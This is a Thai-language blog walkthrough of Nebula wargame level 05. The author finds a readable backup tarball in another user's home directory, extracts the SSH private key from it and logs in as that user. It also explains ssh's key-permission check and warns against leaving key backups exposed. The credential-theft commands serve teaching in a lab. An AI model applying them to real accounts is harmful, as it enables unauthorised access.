Nebula เลเวล 05: ลองแฮกจาก SSH private key

Pichaya Morimoto
2 min readMay 31, 2016

--

เลเวลนี้จะแสดงให้เห็นว่า การตั้งค่าสิทธิ์ไฟล์ในระบบที่ไม่ปลอดภัย อาจนำไปสู่ผลกระทบอย่างร้ายแรงถึงขั้น ยึด user account คนอื่นได้ยังไงนะครับ จากโจทย์บอกว่า..

ให้เราไปตรวจสอบใน /home/flag05/ มีการตั้ง สิทธิ์ที่ไม่ปลอดภัยไว้ เริ่มแรกเหมือนเดิมผมก็ ssh เข้าไป user level05 รหัสผ่าน level05 เข้ามาปุ๊บก็ลอง ls

$ ls /home/flag05/

ปรากฏว่าเมื่อลองใช้ ls หาไฟล์หรือ directory ดูไม่พบอะไรเลย ว่างเปล่า? แต่ในความเป็นจริงแล้วถ้าเราใส่ออฟชั่น -a เข้าไป จะพบ ไฟล์ที่ขึ้นต้นด้วย จุดอีกเพียบครับ

$ ls -la /home/flag05/
total 5
drwxr-x--- 1 flag05 level05 60 May 31 08:56 .
drwxr-xr-x 1 root root 220 Aug 27 2012 ..
drwxr-xr-x 2 flag05 flag05 42 Nov 20 2011 .backup
-rw-r--r-- 1 flag05 flag05 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 May 18 2011 .bashrc
drwx------ 2 flag05 flag05 60 May 31 08:56 .cache
-rw-r--r-- 1 flag05 flag05 675 May 18 2011 .profile
drwx------ 2 flag05 flag05 70 Nov 20 2011 .ssh

จะเห็นว่า directory ที่น่าสนใจจะมี .ssh กับ .backup แต่ทว่า .ssh นั้นมีสิทธิ์ เข้าไปได้โดย user flag05 เท่านั้น เราซึ่งเป็น user level05 เข้าไปหาไฟล์ หรืออ่านไฟล์ไม่ได้ครับ ซึ่ง .ssh นี้ปกติแล้วจะเป็นที่เก็บ SSH private key ที่ไว้สำหรับ login เข้า SSHD ของ user คนนั้นถ้าเปิดออฟชั่น PubkeyAuthentication yes ในไฟล์การตั้งค่า /etc/ssh/sshd_config ไว้นะครับ เสียดายเข้าไม่ได้ ไม่เป็นไรมาลองดูอีกอัน .backup ครับ

$ ls -l /home/flag05/.backup/
total 2
-rw-rw-r-- 1 flag05 flag05 1826 Nov 20 2011 backup-19072011.tgz

ปรากฏว่าในนี้มีไฟล์ที่ถูกบีบอัด gzip ไว้อยู่ผมก็จะทำสำเนาออกมาเก็บไว้ใน /tmp/ แล้วลองคลายออกมาดูครับ

$ cp /home/flag05/.backup/backup-19072011.tgz /tmp/.flag05-bckup.tgz
$ cd /tmp/
$ tar xvf /tmp/.flag05-bckup.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys

ตึ่งงง.. พบว่าใน gzip อันนี้เป็น backup ของ .ssh ซึ่งมีเก็บไฟล์ private key ชื่อ id_rsa อยู่นะครับ ไม่รอช้า เราก็ลองเอาไฟล์นี้ไปใช้เป็นกุญแจในการ login เข้าเป็น user flag05 ครับ เพราะ .backup นี้เป็นของ flag05 นั้นเอง

$ ssh -i /tmp/.ssh/id_rsa flag05@localhost
The authenticity of host ‘localhost (127.0.0.1)’ can’t be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘localhost’ (ECDSA) to the list of known hosts.
[...]flag05@nebula:~$ id
uid=994(flag05) gid=994(flag05) groups=994(flag05)
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

ผมใช้คำสั่ง ssh จากใน Nebula นี้แหละเข้าไปที่ user flag05 เครื่องก็ใส่เป็น localhost ไปเลยเพราะเครื่องเดียวกัน แล้วก็จุดที่สำคัญคือระบุ private key โดยใช้ -i ชี้ไปที่ไฟล์ /tmp/.ssh/id_rsa นะครับ ทำให้ผ่านข้อนี้ได้ shell ในสิทธิ์ของ user flag05 สำเร็จ

เกร็ดเพิ่มเติม ไฟล์ id_rsa นี้ได้สืบทอดสิทธิ์มาจากตอนก่อน gzip ทำให้สิทธิ์ของไฟล์หน้าตาเป็นแบบนี้

$ ls -lha /tmp/.ssh/id_rsa
-rw------- 1 level05 level05 1.7K Jul 19 2011 /tmp/.ssh/id_rsa

ซึ่งจริง ๆ แล้วถ้าสิทธิ์ของ private key ถ้าถูกตั้งไว้อย่างไม่ปลอดภัย ยอมให้ใครก็ได้อ่านได้ โปรแกรม ssh จะไม่ยอมให้เราใช้งานไฟล์นั้นนะครับ นับเป็น security control ที่ป้องกันการขโมย private key ที่ดีมากกอันนึง ถ้าไม่เชื่อลอง…

$ chmod 777 /tmp/.ssh/id_rsa$ ssh -i /tmp/.ssh/id_rsa flag05@localhost[...]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for ‘/tmp/.ssh/id_rsa’ are too open.
It is recommended that your private key files are NOT accessible by others.
This private key will be ignored.
bad permissions: ignore key: /tmp/.ssh/id_rsa
flag05@localhost’s password:

จะเห็นว่า ssh จะไม่ยอมรับ private key ที่ตั้งค่าสิทธิ์อย่างไม่ปลอดภัยเพื่อให้เรารู้และตั้งเป็นค่าที่ปลอดภัย แต่ทั้งนี้ทั้งนั้น ถ้าเราเผลอไป backup เจ้า private key นี้แล้วไม่ได้ตั้งค่าสิทธิ์ของตัว backup เองให้ปลอดภัย ก็อาจทำให้ private key โดนขโมยไปได้ แบบนี้ใครก็ช่วยเตือนเราไม่ได้ครับ เช่นเผลอทิ้งไว้ตาม shared drive ต่าง ๆ หรือเผลออัพโหลดขึ้นไปในเว็บที่ใคร ๆ ก็เข้าถึงได้อย่าง public web server หรือ github ครับ

ที่มา: https://exploit-exercises.com/nebula/level05/

--

--